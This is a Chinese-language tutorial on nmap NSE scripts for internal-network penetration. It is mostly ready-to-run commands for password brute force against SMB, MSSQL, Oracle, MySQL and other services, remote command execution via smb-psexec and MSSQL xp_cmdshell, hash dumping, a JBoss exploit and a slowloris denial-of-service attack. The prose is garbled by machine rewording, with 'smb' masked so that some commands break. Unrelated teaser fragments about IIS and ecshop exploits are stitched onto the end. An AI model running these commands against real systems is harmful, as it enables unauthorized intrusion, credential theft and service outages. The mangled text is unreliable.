文中关键解读nmap的诸多脚本 *** 的应用,在内网渗透的情况下特别是在功能强大。
Nmap好多个小实例:
nmap -T4 -A -v 192.168.10.100
nmap -A -v www.baidu.com/24
nmap -p22 192.168.53.1 -sV
nmap -p1-65535 192.16.53.1 -sV
nmap -p5000-6000 192.16.53.1 -sV
nmap -sV -O -T4 192.168.1.107
Nmap出示的命令行参数以下:
-sC: 等额的于–script=default,应用默认设置类型的脚本 *** 开展扫描仪 可拆换别的类型
–script=<Lua scripts>: <Lua scripts>应用某一或某种脚本 *** 开展扫描仪,适用使用通配符叙述
–script-args=<n1=v1,[n2=v2,...]>: 为脚本 *** 出示默认设置主要参数
–script-args-file=filename:应用文档来为脚本 *** 出示主要参数
–script-trace:显示信息脚本 *** 实行全过程中推送与接受的数据信息
–script-updatedb:升级脚本 *** 数据库查询
–script-help=<scripts>:显示信息脚本 *** 的协助信息内容,在其中<scripts>一部分能够分号隔开的文档或脚本 *** 类型
nmap脚本 *** 关键分成下列几种,在扫描仪时可依据必须设定--script=类型这类 *** 开展较为含糊的扫描仪:
auth:承担解决身份验证资格证书(避开身份验证)的脚本 ***
broadcast:在局域 *** 内探察大量服务项目打开情况,如dhcp/dns/sqlserver等服务项目
brute:出示暴力破解密码 *** ,对于普遍的运用如http/snmp等
default:应用-sC或-A选择项扫描仪情况下默认设置的脚本 *** ,出示基础脚本 *** 扫描仪工作能力
discovery:对互联网开展大量的信息内容,如 *** B枚举类型、SNMP查寻等
dos:用以开展拒绝服务攻击进攻
exploit:运用己知的系统漏洞侵入系统软件
external:运用第三方的数据库查询或資源,比如开展whois分析
fuzzer:模糊不清检测的脚本 *** ,推送出现异常的包到总体目标机,检测出潜在性系统漏洞 intrusive: 侵入性的脚本 *** ,该类脚本 *** 将会引起另一方的IDS/IPS的纪录或屏蔽掉
malware:检测总体目标机是不是感染了病毒感染、打开了侧门等信息内容
safe:该类与intrusive反过来,归属于安全系数脚本 ***
version:承担提高服务项目与版本号扫描仪(Version Detection)作用的脚本 ***
vuln:承担查验总体目标机是不是有普遍的系统漏洞(Vulnerability),如是不是有MS08_067
1、承担解决身份验证资格证书(避开身份验证)的脚本 *** ,还可以做为检验一部分运用弱口令
nmap --script=auth 192.168.137.*
2、出示暴力破解密码的 *** ,可对数据库查询, *** b,snmp等开展简易登陆密码的暴力行为猜解
nmap -sS --script=brute 192.168.137.*
3、默认设置的脚本 *** 扫描仪,主要是收集各种各样业务系统的信息内容,搜集到后,可再对于实际服务项目开展进攻
nmap --script=default 192.168.137.* 或是 nmap -sC 192.168.137.*
4、查验是不是存有普遍系统漏洞
nmap --script=vuln
192.168.137.*
5、在局域 *** 内探察大量服务项目打开情况
nmap -n -p445 --script=broadcast 192.168.137.4
6、运用第三方的数据库查询或資源,比如开展whois分析
nmap --script external 202.103.243.110
1、vnc扫描仪:
查验vnc bypass
nmap --script=realvnc-auth-bypass 192.168.137.4
查验vnc验证 ***
nmap --script=vnc-auth 192.168.137.4
获得vnc信息内容
nmap --script=vnc-info 192.168.137.4
2、 *** b扫描仪:
*** b破译
nmap --script= *** b-brute.nse 192.168.137.4
*** b词典破译
nmap --script= *** b-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4
*** b己知好多个比较严重漏
nmap --script= *** b-check-vulns.nse --script-args=unsafe=1 192.168.137.4
查询共享资源文件目录
nmap -p 445 --script *** b-ls --script-args 'share=e$,path=\, *** buser=test, *** bpass=test' 192.168.137.4
查寻服务器一些比较敏感信息内容(注:必须免费下载nmap_service)
nmap -p 445 -n –script= *** b-psexec --script-args= *** buser=test, *** bpass=test 192.168.137.4
查询对话
nmap -n -p445 --script= *** b-enum-sessions.nse --script-args= *** buser=test, *** bpass=test 192.168.137.4
系统信息
nmap -n -p445 --script= *** b-os-discovery.nse --script-args= *** buser=test, *** bpass=test 192.168.137.4
3、Mssql扫描仪
猜解mssql登录名和登陆密码
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4
xp_cmdshell 运行命令
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4
dumphash值
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 192.168.137.4
4、Mysql扫描仪:
扫描仪root空动态口令
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4
列举全部mysql客户
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4
适用同一运用的全部脚本 *** 扫描仪
nmap --script=mysql-* 192.168.137.4
5、Oracle扫描仪:
oracle sid扫描仪
nmap --script=oracle-sid-brute -p 1521-1560 192.168.137.5
oracle弱口令破译
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.137.5
6、别的一些较为功能强大的脚本 ***
nmap --script=broadcast-netbios-master-browser 192.168.137.4 发觉网关ip
nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4 破译rsync
nmap --script informix-brute -p 9088 192.168.137.4 informix数据库查询破译
nmap -p 5432 --script pgsql-brute 192.168.137.4 pgsql破译
nmap -sU --script snmp-brute 192.168.137.4 snmp破译
nmap -sV --script=telnet-brute 192.168.137.4 telnet破译
nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' <target> jboss autopwn
nmap --script=http-methods.nse 192.168.137.4 查验http方式
nmap --script http-slowloris --max-paralleli *** 400 192.168.137.4 dos攻击,针对解决工作能力较小的网站还好用的 'half-HTTP' connections
nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4
7、不可靠的脚本 *** :
vnc-brute 频次多了会严禁联接
pcanywhere-brute 跟上面一样
nmap中脚本 *** 并不会太难看懂,因此在应用时假如不清楚基本原理能够直接看运用脚本 *** 就可以,还可以改动在其中的一些主要参数便捷自身应用。
举例说明:有关oracle的弱口令破译:
启用全过程:oracle-brute.nse >> oracle-default-accounts.lst
1、更先是启用破译脚本 *** :
2、依据脚本 *** 中词典的部位去查询默认设置词典,自然还可以将破译的标识符填加在其中,或是是改动脚本 *** 或主要参数更改破解字典:
1、肉食鸡: 说白了“肉食鸡”是一种很品牌形象的形容,形容这些能够随便被大家操纵的电脑上,另一方能够是WINDOWS系统软件,还可以是UNIX/LINUX系统软件,能够是一般的个人计算机,还可以是大...
IIS6.0解析漏洞,可以上传a.asp;.jps或者a.asp;a.jpg或者a.asp目录下传任意格式小马,都会解析 这次讲的是IIS7.5解析漏洞, http://www.xxo...
在完成任务时(home.php?mod=draw&do=view&id=xx),任务先前的状态缺少判断 完成任务的链接形如: home.php?mod=draw&...
什么叫Fiddler? Fiddler被建立用以Web调试及其代理商。从Windows电脑操作系统调节总流量。它保证在网络服务器和手机客户端中间传送适度的头文件,cookie和缓存文件命令。它能够适...
公共互联网威胁的定量评估。微信公共互联网威胁量化是一项为企业提供实时、客观的网络安全风险量化风险评估服务。通过微信小程序,可以直观地呈现企业网络安全指标、安全等级、详细安全问题等信息。 它不仅反映了...
之前,网上爆出了ecshop最新的0day .论坛里也有人直接给出了EXP 相信好多基友都拿了不少的站吧. 这几天正好有个朋友要我帮忙拿一个站 看了一下,ecshop的 直接...